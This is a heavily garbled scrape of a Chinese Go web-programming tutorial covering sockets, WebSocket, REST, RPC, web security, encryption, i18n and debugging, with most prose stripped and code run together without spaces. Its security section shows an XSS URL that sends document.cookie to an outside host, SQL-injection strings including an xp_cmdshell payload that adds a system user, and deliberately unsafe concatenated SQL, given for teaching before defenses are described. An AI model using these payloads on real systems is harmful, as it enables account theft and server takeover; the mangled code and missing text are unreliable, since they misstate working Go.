request=make([]byte,128)//clearlastreadcontent}}
funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
conn.Read() conn.SetReadDeadline() connfor requestfloodattackrequest conn.Read()append
TCP
TCP
funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)
func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error
/
func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error
keepAlivetcpACKkeepalivetcpwindows2keepalivetcp
net
UDPSocket
GoUDPSocketTCPSocket,UDPAcceptTCPUDPUDP
funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Error)func(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)
UDP,TCPUDP
packagemain
import("fmt""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}
UDP
packagemain
import("fmt""net""os""time"
)
funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}
TCPUDPSocketGoSocketGoSocket
links
: Web: WebSocket
8.2WebSocketWebSocketHTML5socketFirefoxGoogleChromeSafari
WebSocket“”HTTPRequest“”
WebSocketJavaScriptTCPSocketWebHTTP
WebTCPWebsocket(push)web.
WebSocketURLws://wss://SSLWebSocketHTTPJavaScriptsocket
8.2WebSocket
WebSocket
WebSockethandshake”\x00″”\xFF”WebSocket“”
WebSocket“”(handshaking)
8.3WebSocketrequestresponse
"Sec-WebSocket-Key"base64
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
f7cb4ezEAl6C3wRaU6JORA==
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
sha1base64
rE91AJhfC+6JdVcVXOGJEADEJdQ=
Sec-WebSocket-Accept
Go WebSocket
GoWebSocketgo.net
gogetgolang.org/x/net/websocket
WebSocket:WebSocketPush
<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";
window.onload=function(){
console.log("onload");
sock=newWebSocket(wsuri);
sock.onopen=function(){console.log("connectedto"+wsuri);}
sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}
sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};
functionsend(){varmsg=document.getElementById('message').value;
sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form><buttononclick="send();">SendMessage</button></body></html>
JSWebSocketsockWebScoketonopen
1onopen2onmessage3onerror4onclose
packagemain
import("golang.org/x/net/websocket""fmt""log""net/http")
funcEcho(ws*websocket.Conn){varerrerror
for{varreplystring
iferr=websocket.Message.Receive(ws,&reply);err!=nil{
fmt.Println("Can'treceive")break}
fmt.Println("Receivedbackfromclient:"+reply)
msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)
iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")break}}}
funcmain(){http.Handle("/",websocket.Handler(Echo))
iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}
SendReceiveSend
8.4WebSocket
WebSocketGonetHTML5WebSocketWeb
links
: Socket: REST
8.3RESTRESTfulGo
REST
REST(REpresentationalStateTransfer)2000RoyThomasFieldingHTTPRESTful
REST:
ResourcesREST""""""""
URIURI
Representation
txthtmljsonxmljpgpng
URIHTTPAcceptContent-Type""
StateTransfer
HTTP
HTTPHTTPGETPOSTPUTDELETEGETPOSTPUTDELETE
RESTful
1URI23HTTP""
WebREST:,
8.7RESTlevel
RESTlevelRESTfulRESTfulRESTfulHTTP DELETEPUTHTTP GETPOST
HTMLGETPOSTAjaxPUTDELETE
HTTPPUTDELETE PUTDELETEPOSTRESTfulPOSTHTTP
POST_methodPUTDELETERESTGoRESTfulRESTful
packagemain
import("fmt""github.com/julienschmidt/httprouter""log""net/http")
funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}
funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))
}
funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}
funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}
funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}
funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}
funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)
router.GET("/user/:uid",getuser)router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)
log.Fatal(http.ListenAndServe(":8080",router))}
RESTmethod github.com/julienschmidt/httprouterRESTRESTmethod
RESTWWWHTTPURIWebURIHTTPInternetRESTWebGoRESTmethodhandleREST
links
: WebSocket: RPC
8.4RPCSocketHTTPSocketHTTP""()
RPC
RPCRemoteProcedureCallProtocol——TCPUDPOSIRPCRPC
RPC
GoRPCRPCTCPHTTPJSONRPCGoRPCRPCRPCGoGob
GoRPC
()
error
RPC
func(t*T)MethodName(argTypeT1,replyType*T2)error
TT1T2 encoding/gob
RPCGoRPCHTTPTCPHTTP net/http
HTTPRPC
http
packagemain
import("errors""fmt""net/http""net/rpc")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint
}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()
err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}
ArithRPC rpc.HandleHTTPHTTPhttp
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]
client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
$./http_clocalhostArith:17*8=136
Arith:17/8=2remainder1
struct client.Call23Call3123()GoRPC
TCPRPC
HTTPRPCTCPRPC
packagemain
import("errors""fmt""net""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
http:TCPrpc
goroutinesocketgoroutineTCPRPC
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]
client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
httpDialHTTPDial(tcp)
JSONRPC
JSONRPCJSONgobRPCGojson-rpc
packagemain
import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)
checkError(err)
for{conn,err:=listener.Accept()iferr!=nil{continue}jsonrpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
json-rpcTCPHTTP
packagemain
import("fmt""log""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{
fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]
client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
GoRPCHTTPTCPJSONRPC,WebGoSOAPRPC
links
: REST:
8.5:SocketsocketHTML5WebSocket,pushajaxRESTAPIGoRPCGonet,
links
: RPC:
9WebWebWebCSDNWebGo
Web(XSS)SQL9.39.4
9.2
9.1CSRF
WebCSDN9.5
9.6
links
:: CSRF
9.1 CSRF
CSRF
CSRFCross-siterequestforgeryoneclickattack/sessionridingCSRF/XSRF
CSRFQQ()WebQQ
CSRFCSRFWeb
CSRF
CSRF
CSRFWebWeb
CSRF
CSRFCSRF
CSRF2
1GET,POSTCookie2GET
RESTWebWebGETPOSTCookie
1GET
2POST
Go
mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)
POSTGETGETCSRFPOST
GET
cookietokenCookie()CookieXSSXSS
4.4“”
token
h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)
token
<inputtype="hidden"name="token"value="{{.}}">
token
r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}
POSTtoken211
CSRFWebWeb“”“”Web
links
::
9.2WebWeb
123
“”“”:
GoGo r.ParseFormPOSTGET r.Form r.Header(r.Header.Get("Accept-Charset"),)
“0”
strconvRequest r.Form/ AtoiParseBoolParseFloatParseInt
stringTrimToLowerToTitleregexpEmail
WebMap(CleanMap)
CleanMapMapCleanMap
<formaction="/whoami"method="POST">:<selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>
POST name=attack
r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}
CleanMapname astaxieherrymarryCleanMapCleanMap["name"]else
r.ParseForm()
username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9]+$",username);ok{CleanMap["username"]=username}
WebCSRFXSSSQL
links
: CSRF: XSS
9.3 XSSWeb“”CrossSiteScripting,XSS
XSS
XSS(Cross-SiteScripting)(CascadingStyleSheets,CSS)XSSXSSweb()XSSWebXSScookie
XSSXSS:HtmlWeb->->Web->XSSURL
XSS
cookieFlashcrossdomainJava
iframeframeXMLHttpRequestFlash:XSS
XSSDDoS
XSS
WebHTML(“>”“<”)XSS
XSSXSSurl http://127.0.0.1/?name=astaxie
helloastaxie
url http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,XSSCookieurl http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>cookiewww.xxx.comURLURLurlurlcookiecookieWebsleuth
XSSXSS
XSS
XSS
XSS
XSSGoHTML
text/templateHTMLEscapeStringJSEscapeString
HTTP
`w.Header().Set("Content-Type","text/javascript")`
javascripthtml
XSSWebXSS
links
:: SQL
9.4 SQL
SQL
SQLSQLInjectionWeb
SQLSQL
SQL
WebSQLSQLSQLSQL
SQL
<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="" /></p></form>
SQL
username:=r.Form.Get("username")password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"
myuser'or'foo'='foo'--
SQL
SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'
SQL--
MSSQLSQLMSSQL
sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)
a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--prodsql
sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"
MSSQLSQLsaMSSQLSERVER
SQL
SQLDiscuzphpwindphpcmsSQL
cookie
SQL?SQL
1. Web2. regexpstrconv3. '"\&*;Go text/templateHTMLEscapeString
4. SQLSQL database/sqlPrepareQueryExec(querystring,args...interface{})
5. SQLSQLsqlmapSQLninja6. SQLSQLSQL
SQLWebWeb
links
: XSS:
9.5,,–Linkedin,CSDN800“”
Web,,?
(digest)“”SHA-256,SHA-1,MD5
Go
//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/sha1"h:=sha1.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))
1
2
, rainbowtable
rainbowtable
——
MD5MD5
“”“salt”MD5MD5MD5
//import"crypto/md5"//abc123456h:=md5.New()io.WriteString(h,"" )
//pwmd5e10adc3949ba59abbe56e057f20f883epwmd5:=fmt.Sprintf("%x",h.Sum(nil))
//saltsalt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"
//salt1++salt2+MD5io.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)
last:=fmt.Sprintf("%x",h.Sum(nil))
salt
rainbowtable
: rainbowtable
rainbowtable
scryptscryptFreeBSDColinPercivalTarsnap
Gohttp://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1,32)
1LastPass2
links
::
9.6
base64
Web base64Go base64
packagemain
import("encoding/base64""fmt")
funcbase64Encode(src[]byte)[]byte{return[]byte(base64.StdEncoding.EncodeToString(src))}
funcbase64Decode(src[]byte)([]byte,error){returnbase64.StdEncoding.DecodeString(string(src))}
funcmain(){//encodehello:="helloworld"debyte:=base64Encode([]byte(hello))fmt.Println(debyte)//decodeenbyte,err:=base64Decode(debyte)iferr!=nil{fmt.Println(err.Error())}
ifhello!=string(enbyte){fmt.Println("helloisnotequaltoenbyte")}
fmt.Println(string(enbyte))}
Gocrypto
crypto/aesAES(AdvancedEncryptionStandard)Rijndaelcrypto/desDES(DataEncryptionStandard)AES
aes
packagemain
import("crypto/aes""crypto/cipher""fmt""os")
varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}
funcmain(){//plaintext:=[]byte("MynameisAstaxie")//plaintiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}
//aeskey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{key_text=os.Args[2]}
fmt.Println(len(key_text))
//aesc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_t
ext),err)os.Exit(-1)}
//cfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)
//cfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}
aes.NewCipher(key162432[]byteAES-128,AES-192AES-256),cipher.Block
typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int
//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)
//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}
Webbase64aesdes
links
::
9.7CSRFXSSSQLWebWebGobase64aesdes
WebWebGoWeb
links
::
10Web
Internationalizationandlocalization,i18nL10N
Goi18ngo-i18nGoi18n
locale
1locale
2locale
3locale
localelocalelocalei18n
links
::
10.1
Locale
Localelocale"en""zh""en_US""en_UK""zh_CN.gb2312"gb2312
GO"UTF-8"i18nlocalei18nlocale
LinuxSolarislocale-aBSDlocale/usr/share/locale
Locale
locale()localelocale
Locale
Localewww.asta.com()www.asta.cnlocale
URL
GomapSEO
locale
ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}
"en.asta.com""cn.asta.com"
prefix:=strings.Split(r.Host,".")
ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")}
LocaleWebLocaleurl
Locale
LocaleURLwww.asta.com/hello?locale=zhwww.asta.com/zh/helloi18n.SetLocale(params["locale"])
LocaleRESTfullinklocaleurllink locale=params["locale"]
URLRESTfulwww.asta.com/en/books()www.asta.com/zh/books()URLSEOURLURLrouterlocale(RESTrouter)
mux.Get("/:locale/books",listbook)
URLLocale()IPWeb
Accept-Language
HTTPAccept-LanguageGo Accept-Language
AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}
IP
IPIPIPGeoIPLiteCountryIPIP
profile
localeprofilelocalelocale
LocaleLocale
links
::
10.2LocaleLocaleLocaleGoJSON(,en.jsonzh-CN.json)
Web:mapkey-valuemap
packagemain
import"fmt"
varlocalesmap[string]map[string]string
funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"locales["en"]=en
cn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["zh-CN"]=cnlang:="zh-CN"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}
funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{ifv2,ok:=v[key];ok{returnv2}}return""}
localekeylangen
key-value"Iam30yearsold","30"30 fmt.Printf
en["howold"]="Iam%dyearsold"cn["howold"]="%d"
fmt.Printf(msg(lang,"howold"),30)
JSON json.Unmarshalmap
Locale 20121024231113CST : WedOct2423:11:13CST2012:
1.2.
$GOROOT/lib/timetimeinfo.ziplocalelocale time.LoadLocation(namestring)locale Asia/ShanghaiAmerica/Chicago time.NowTime():
en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Shanghai"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))
:
en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"
fmt.Println(date(msg(lang,"date_format"),t))
funcdate(fomatestring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//%Y%m%d%H%M%S//%Y 2012//%m 10//%d 24}
:
en["money"]="USD%d"cn["money"]="%d"
fmt.Println(date(msg(lang,"date_format"),100))
funcmoney_format(fomatestring,moneyint64)string{returnfmt.Sprintf(fomate,money)}
Localecssjslocale
views|--en//|--images//|--js//JS|--css//cssindex.tpl//login.tpl//|--zh-CN//|--images|--js|--cssindex.tpllogin.tpl
s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)
index.tpl
//js<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
//css<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/zh/images/btn.png">
langkey-valueLocaleLocale fmt.PrintfLocalelang
links
::
10.3Locale
Localeconfig/localesen.jsonzh.json
#zh.json
{"zh":{"submit":"" ,
"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
—— go-i18ngo-i18nconfig/locales,locale
Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")
fmt.Println(Tr.Translate("submit"))//SubmitTr.SetLocale("zn")fmt.Println(Tr.Translate("submit"))//“”
go-i18n
//go-i18n/locales
//zh.jsonen-jsonen-US.json
func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}deferdir.Close()
names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}
for_,name:=rangenames{fullPath:=path.Join(dirPath,name)
fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}
iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()
iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}
returnnil}
:
//locale=zh
fmt.Println(Tr.Time(time.Now()))//200910820:37:58CST
fmt.Println(Tr.Time(time.Now(),"long"))//2009108
fmt.Println(Tr.Money(11.11))//:11.11
templatemapfunc
"Tr.Translate""Tr.Time""Tr.Money"Gomapfunc
1.
Tr.TranslatemapFunc
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Translate(s)}
t.Funcs(template.FuncMap{"T":I18nT})
{{.V.Submit|T}}
1.
Tr.TimemapFunc
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}
t.Funcs(template.FuncMap{"TD":I18nTimeDate})
{{.V.Now|TD}}
1.
Tr.MoneymapFunc
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Money(s)}
t.Funcs(template.FuncMap{"M":I18nMoney})
{{.V.Money|M}}
Webgo-i18nWebpipeline
links
::
10.4i18ngo-i18n https://github.com/astaxie/go-i18nWebGo
links
::
11""bugbug
Web11.1Go11.2GDB
11.3GoGo
GoWeb
links
::
11.1GoCC-1NULLAPI:0,Goerrorerrornil
os.Opennilerror
funcOpen(namestring)(file*File,errerror)
os.Open log.Fatal
f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}
os.OpenAPIerrorerrorWeberror
Error
error
typeerrorinterface{Error()string}
error/builtin/errorerrorserrorString
//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}
func(e*errorString)Error()string{returne.s}
errors.NewerrorStringerror
//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}
errors.New:
funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}
Sqrtnon-nilerrorniltruefmt.Println(fmterrorError)
f,err:=Sqrt(-1)iferr!=nil{
fmt.Println(err)}
Error
errorinterfaceJson
typeSyntaxErrorstruct{msgstring//Offsetint64//}
func(e*SyntaxError)Error()string{returne.msg}
OffsetError:
iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}
error
funcDecode()*SyntaxError{//err!=niltrue
varerr*SyntaxError//if{err=&SyntaxError{}}returnerr//errnilerr!=niltrue
}
http://golang.org/doc/faq#nil_error
Errornet
packagenet
typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}
errnet.Error,sleep1
ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}
GoC:
funcinit(){http.HandleFunc("/view",viewRecord)
}
funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}
http.Error500HandleFunc(HTTP)
typeappHandlerfunc(http.ResponseWriter,*http.Request)error
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}
funcinit(){http.Handle("/view",appHandler(viewRecord))}
/view
funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}
500
typeappErrorstruct{ErrorerrorMessagestringCodeint}
typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}
funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}
view
GoerrorWeb
links
:: GDB
11.2 GDBGoPHPPythonGoPrintlnPythonpdb/ipdbJavascriptGoGDBGoGDBGDBGDBGo
godelveGo
GDB
GDBFSF()UNIXGDB
1.2.3.4.
GoGDB7.1
Go
1. -ldflags"-s"debug2. -gcflags"-N-l"GoGDB
GDB
list
l list1515
10time.Sleep(2*time.Second)11c<-i12}13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)
break
b, b10
delete d, infobreakpoints
NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time
backtrace
bt,
#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()
info
info
infolocals
infobreakpoints
infogoroutines
goroutine,*
*1runningruntime.gosched
